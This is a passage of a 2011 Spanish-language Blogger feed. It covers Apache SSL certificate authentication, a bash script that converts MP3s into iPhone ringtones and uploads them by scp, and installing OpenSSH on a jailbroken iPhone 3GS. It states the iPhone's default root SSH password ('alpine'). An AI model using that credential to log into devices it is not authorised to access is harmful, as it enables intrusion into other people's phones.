tienes acceso, te imprimirá un error, o solo se quedara cargando sin entrar al sitio.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Luego hacer la prueba cogiendo el  certificado .p12 y agregarlo en el navegador de una maquina de la misma red donde este el servidor apache que acabamos de configurar, e intentar logear. Y debe de ingresar al sitio.  &lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Eso es todo; espero les sirva el manual.  &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-3455137950334057722?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/3455137950334057722/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/apache2-ssl-y-autenticacion-con.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3455137950334057722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3455137950334057722'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/apache2-ssl-y-autenticacion-con.html' title='Apache2,  ssl y autenticación con certificados p12'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-8796871262368673400</id><published>2011-10-14T12:11:00.000-07:00</published><updated>2011-10-19T09:00:56.488-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Iphone'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><title type='text'>Iphone 3Gs Mp3 Ringtones desde Ubuntu</title><content type='html'>Con dolor de cabeza y escuchando la lluvia como cae en mi casa, me  acorde que un amigo antes conocido como &lt;span style="font-weight: bold;"&gt;ANARKIA&lt;/span&gt;, me habia dicho que no  se podia colocar los Mp3 que uno tiene en la maquina local, en el Iphone como Ringtones, y  que ademas solo se puede hacer desde Itunes; entonces decidi darme la  pela e Investigar. ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Aclaro: !!!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.&lt;/span&gt; No acepta los &lt;span style="font-weight: bold;"&gt;Mp3&lt;/span&gt; - pero si los &lt;span style="font-weight: bold;"&gt;m4a&lt;/span&gt; o &lt;span style="font-weight: bold;"&gt;m4r&lt;/span&gt;.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.&lt;/span&gt; Es &lt;span style="font-weight: bold;"&gt;falso&lt;/span&gt; que solo se puede desde &lt;span style="font-weight: bold;"&gt;Itunes&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Manos a la obra, usaremos linux Ubuntu como ejemplo ya que es lo mas comercial:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1r0:&lt;/span&gt; Debes coger el Mp3 que te gusta  y cortar entre &lt;span style="font-weight: bold;"&gt;0&lt;/span&gt; y &lt;span style="font-weight: bold;"&gt;3 Min&lt;/span&gt; que es lo que soportan los Ringotnes de Iphone.&lt;br /&gt;&lt;br /&gt;En linux lo puedes hacer con: &lt;span style="font-style: italic;"&gt;Audacity - mp3splt - mp3cut, SoundComverter&lt;/span&gt; u otros.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2d0:&lt;/span&gt; Luego debes comvertirlo a &lt;span style="font-weight: bold;"&gt;m4a&lt;/span&gt;, en linux lo puedes hacer con &lt;span style="font-style: italic;"&gt;Audacity, SoundComverter &lt;/span&gt;u otros.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3r0:&lt;/span&gt; Debes renombrar el &lt;span style="font-weight: bold;"&gt;archivo.m4a&lt;/span&gt; que vas a colocar en tu Iphone a &lt;span style="font-weight: bold;"&gt;archivo.m4r&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4t0:&lt;/span&gt; Si tu Iphone tiene &lt;span style="font-weight: bold;"&gt;OpenSSH&lt;/span&gt;, entonces puedes pasarlo por medio de SSH y colocarlo en la siguiente ruta:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/Library/Ringtones/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5t0:&lt;/span&gt; En el phone ir a &lt;span style="font-weight: bold;"&gt;Ajustes/Sonidos/Tono de Llamada&lt;/span&gt;  y Seleccionar el Ringtone que creaste !!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Script para crear Ringtones desde ubuntu: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Requerimientos:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Instalar los siguientes paquetes:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#apt-get install pacpl&lt;br /&gt;#apt-get install  poc-streamer&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;ringtone-script-upload.bash:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#--- INICIO script.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#Cortar el MP3 16 Segundos&lt;/span&gt;&lt;br /&gt;mp3cut -o output.mp3 -t 00:00:00+000-00:00:16+000 $1&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#Comvertir el MP3 a formato m4a&lt;/span&gt;&lt;br /&gt;pacpl -t m4a output.mp3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#Renombrar el archivo .m4a a .m4r&lt;/span&gt;&lt;br /&gt;mv output.m4a output.m4r&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#Copiar el archivo .m4r a el Iphone&lt;/span&gt;&lt;br /&gt;scp -r output.m4r root@iphone:/Library/Ringtones/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#--- FIN script&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Recuerde lo siguiente:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.&lt;/span&gt; El password del Iphone es "&lt;span style="font-weight: bold;"&gt;alpine&lt;/span&gt;".&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.&lt;/span&gt; Debe mirar que IP le dio el Wifi al Iphone y colocarla en el /etc/hosts de la siguiente manera:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;/etc/hosts&lt;br /&gt;&lt;br /&gt;192.168.0.5   iphone&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.&lt;/span&gt; Recuerde darle &lt;span style="font-weight: bold;"&gt;chmod 755 &lt;/span&gt;al &lt;span style="font-weight: bold;"&gt;ringtone-script-upload.bash&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4.&lt;/span&gt; Que tenga un feliz RingtonDay !&lt;br /&gt;&lt;br /&gt;bye !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-8796871262368673400?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/8796871262368673400/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/iphone-3gs-mp3-ringtones-desde-ubuntu.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8796871262368673400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8796871262368673400'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/iphone-3gs-mp3-ringtones-desde-ubuntu.html' title='Iphone 3Gs Mp3 Ringtones desde Ubuntu'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-8144737960112381231</id><published>2011-10-14T11:36:00.000-07:00</published><updated>2011-10-19T09:01:09.881-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Iphone'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Cracking'/><title type='text'>Instalar Openssh en Iphone 3gs</title><content type='html'>&lt;span style="font-weight: bold;font-size:180%;" &gt;Instalación Servidor OpenSSH&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in;"&gt;Para poder instalar el Openssh-server en el Iphoe 3Gs, lo primero que debes hacer es el JailBerak del teléfono, de lo contrario no vas a poder añadir las aplicaciones de Linux que vas a necesitar. Si aún no sabes como hacer el JailBreak, ingresa a &lt;a href="http://miipodtouch.com/"&gt;http://miipodtouch.com/&lt;/a&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Luego de realizar el JailBreak, solo debes seguir las siguientes instrucciones: &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Abrir Cydia:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;Click o touch&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-TWWSKUclypM/TocTB1W2fTI/AAAAAAAABQY/oK1dSmB3ql8/s1600/Openssh-0.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://3.bp.blogspot.com/-TWWSKUclypM/TocTB1W2fTI/AAAAAAAABQY/oK1dSmB3ql8/s320/Openssh-0.png" alt="" id="BLOGGER_PHOTO_ID_5658512379038039346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Ir al tag buscar:&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;Click o touch&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Awoil_6HULI/TocTVD1jxxI/AAAAAAAABQg/oC0f_zrv0Ig/s1600/Openssh-1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://1.bp.blogspot.com/-Awoil_6HULI/TocTVD1jxxI/AAAAAAAABQg/oC0f_zrv0Ig/s320/Openssh-1.png" alt="" id="BLOGGER_PHOTO_ID_5658512709342447378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;En el área de "&lt;span style="font-weight: bold;"&gt;Buscar&lt;/span&gt;", ingresa la palabra "&lt;span style="font-weight: bold;"&gt;Openssh&lt;/span&gt;" y luego da click en el botón "&lt;span style="font-weight: bold;"&gt;Buscar&lt;/span&gt;".  En la lista debe aparecerte la opción &lt;span style="font-weight: bold;"&gt;OpenSSH.&lt;/span&gt; En mi caso, la aplicación ya está instalada, es por eso que en la imagen se muestra un chulito.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Como no lo tienes instalado, haz click o touch sobre la palabra &lt;span style="font-weight: bold;"&gt;OpenSSH&lt;/span&gt;.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-GJTJxOrnF9c/TocTkMzHKvI/AAAAAAAABQo/CLRj9fwjEvg/s1600/Openssh-2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://1.bp.blogspot.com/-GJTJxOrnF9c/TocTkMzHKvI/AAAAAAAABQo/CLRj9fwjEvg/s320/Openssh-2.png" alt="" id="BLOGGER_PHOTO_ID_5658512969446140658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;A continuación, la pantalla “&lt;span style="font-weight: bold;"&gt;Detalles&lt;/span&gt;” será desplegada. En ella, vas a encontrar el botón “&lt;span style="font-weight: bold;"&gt;Instalar&lt;/span&gt;”. En mi caso aparece la opción “&lt;span style="font-weight: bold;"&gt;Modificar&lt;/span&gt;” porque ya lo tengo instalado. Haz click o touch sobre la opción “&lt;span style="font-weight: bold;"&gt;Instalar&lt;/span&gt;”.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-XcxXOQvXlt0/TocT1okzX_I/AAAAAAAABQw/_md0Gadeumg/s1600/Openssh-3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://3.bp.blogspot.com/-XcxXOQvXlt0/TocT1okzX_I/AAAAAAAABQw/_md0Gadeumg/s320/Openssh-3.png" alt="" id="BLOGGER_PHOTO_ID_5658513268960092146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;Siguiendo con el procedimiento, la pantalla “&lt;span style="font-weight: bold;"&gt;Confirmar&lt;/span&gt;” será desplagada en tu movil. Haz click o touch en el botón “&lt;span style="font-weight: bold;"&gt;Confirmar&lt;/span&gt;”.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-sFsACrIe50E/TocUJM6RWXI/AAAAAAAABQ4/hblSe0vrD4Q/s1600/Openssh-4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://3.bp.blogspot.com/-sFsACrIe50E/TocUJM6RWXI/AAAAAAAABQ4/hblSe0vrD4Q/s320/Openssh-4.png" alt="" id="BLOGGER_PHOTO_ID_5658513605131327858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Luego te van a aparecer una gran cantidad de mensajes en la pantalla. No te preocupes, es parte del proceso de instalación. Una vez finalizado ya cuentas con un servidor OpenSSH en tu Iphone 3Gs   &lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;Nota #1:&lt;/span&gt; Para realizar la instalación de forma óptima, cuando acabes de instalar el OpenSSH, por favor reinicia tu teléfono.&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Acceder Iphone por SSH:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Windows User's:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Para acceder al teléfono desde una maquina Windows solo tienes que buscar en Internet un programa llamado &lt;a href="http://www.chiark.greenend.org.uk/%7Esgtatham/putty/download.html"&gt;&lt;span style="font-weight: bold;"&gt;Putty&lt;/span&gt;&lt;/a&gt; – para terminal o &lt;a href="http://winscp.net/eng/download.php"&gt;&lt;span style="font-weight: bold;"&gt;WinSCP&lt;/span&gt;&lt;/a&gt; para una administración más gráfica.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Linx User's&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Para acceder al teléfono desde una maquina con Linux, solo debes abrir una &lt;span style="font-weight: bold;"&gt;Terminal&lt;/span&gt; e ingresar los datos de conexión de tu móvil, o usar un&lt;span style="font-weight: bold;"&gt; navegador con soporte “sftp”&lt;/span&gt; como &lt;span style="font-weight: bold;"&gt;“Konqueror”&lt;/span&gt; en caso de que te guste KDE. Para los que usan Gnome, hay una opción llamada &lt;span style="font-weight: bold;"&gt;“Conectar con un servidor” &lt;/span&gt;en la parte del menú principal &lt;span style="font-weight: bold;"&gt;“Lugares o Places”.&lt;/span&gt; Desde allí puedes ingresar los datos de conexión al teléfono.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Configuración de las credenciales IP para conectarse al Iphone:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;Normalmente las personas que tienen un Iphone, cuentan con un&lt;span style="font-weight: bold;"&gt; dispositivo inalambrico o router para acceder a Internet. &lt;/span&gt;&lt;span&gt;En &lt;/span&gt; nuestro caso, solo debemos conectar el telefono a la red inalambrica para que automáticamente un IP le sea asignado; dicho IP es el que necesitaremos para hacer la conexión.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Miremos las imágenes:&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Click o touch en Ajustes:&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-jc04J9vT78E/TocVgR7gkSI/AAAAAAAABRA/LM_9QAKVJhA/s1600/Openssh-5.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://3.bp.blogspot.com/-jc04J9vT78E/TocVgR7gkSI/AAAAAAAABRA/LM_9QAKVJhA/s320/Openssh-5.png" alt="" id="BLOGGER_PHOTO_ID_5658515101127315746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Click o touch en WI-FI:&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-HgR37tsvv1s/TocVz4g4H6I/AAAAAAAABRI/Xjp8BDSHruo/s1600/Openssh-6.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://1.bp.blogspot.com/-HgR37tsvv1s/TocVz4g4H6I/AAAAAAAABRI/Xjp8BDSHruo/s320/Openssh-6.png" alt="" id="BLOGGER_PHOTO_ID_5658515437902110626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;En mi caso, puede apreciarse que mi teléfono está conectado a la red &lt;span style="font-weight: bold;"&gt;unknown. &lt;/span&gt;&lt;span&gt;Independiente de como se llame la red a la que tienes acceso, debes dar c&lt;/span&gt;lick o touch en el “&lt;span style="font-weight: bold;"&gt;Simbolo Mayor&lt;/span&gt;” para ver los detalles:&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-gVfLy3FdXPk/TocWZxmjaVI/AAAAAAAABRY/4lx4Mo1Kp0Y/s1600/Openssh-7.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://4.bp.blogspot.com/-gVfLy3FdXPk/TocWZxmjaVI/AAAAAAAABRY/4lx4Mo1Kp0Y/s320/Openssh-7.png" alt="" id="BLOGGER_PHOTO_ID_5658516088881899858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;En el primer registro de la pantalla, vas a encontrar el IP al que debes conectarte:&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-nk0M_iercf4/TocWM_rLoXI/AAAAAAAABRQ/qeypYk4oNBg/s1600/Openssh-8.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://4.bp.blogspot.com/-nk0M_iercf4/TocWM_rLoXI/AAAAAAAABRQ/qeypYk4oNBg/s320/Openssh-8.png" alt="" id="BLOGGER_PHOTO_ID_5658515869321109874" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Muestra de conexión por terminal usando Linux&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-xSD7EgpB5YI/TocW24zvNeI/AAAAAAAABRg/F0A9SMdT8Mg/s1600/Openssh-9.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 231px; height: 320px;" src="http://4.bp.blogspot.com/-xSD7EgpB5YI/TocW24zvNeI/AAAAAAAABRg/F0A9SMdT8Mg/s320/Openssh-9.png" alt="" id="BLOGGER_PHOTO_ID_5658516589032453602" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Muestra de Conexión por putty usando Windows 7&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;Imagen 1&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-gCMYlgM4cqg/TocXKqvur-I/AAAAAAAABRo/_Isfl8uJcxI/s1600/Openssh-10.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 218px;" src="http://2.bp.blogspot.com/-gCMYlgM4cqg/TocXKqvur-I/AAAAAAAABRo/_Isfl8uJcxI/s320/Openssh-10.png" alt="" id="BLOGGER_PHOTO_ID_5658516928854929378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Imagen 2&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-o9_cmlOedrc/TocXaiF5l6I/AAAAAAAABRw/8yqzXCEG4Vo/s1600/Openssh-11.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 218px;" src="http://1.bp.blogspot.com/-o9_cmlOedrc/TocXaiF5l6I/AAAAAAAABRw/8yqzXCEG4Vo/s320/Openssh-11.png" alt="" id="BLOGGER_PHOTO_ID_5658517201409906594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-weight: bold;"&gt;NOTA IMPORTANTE: &lt;/span&gt;&lt;span&gt;Por omisión,&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span&gt;e&lt;/span&gt;l usuario de conexión por ssh al Iphone es "&lt;span style="font-weight: bold;"&gt;root&lt;/span&gt;" y el password es "&lt;span style="font-weight: bold;"&gt;alpine&lt;/span&gt;"&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Si deseas cambiarlo &lt;/span&gt;solo debes entrar por una terminal al Iphone y ejecutar:&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;passwd&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Este comando te pedirá una clave nueva, la cual debes ingresar dos veces y eso es todo.&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Si tienes dudas o comentarios sobre este articulo, realiza un post al final del articulo. Gracias por tu atención !!!&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-8144737960112381231?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/8144737960112381231/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/instalar-openssh-en-iphone-3gs.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8144737960112381231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8144737960112381231'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/instalar-openssh-en-iphone-3gs.html' title='Instalar Openssh en Iphone 3gs'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-TWWSKUclypM/TocTB1W2fTI/AAAAAAAABQY/oK1dSmB3ql8/s72-c/Openssh-0.png' height='72' 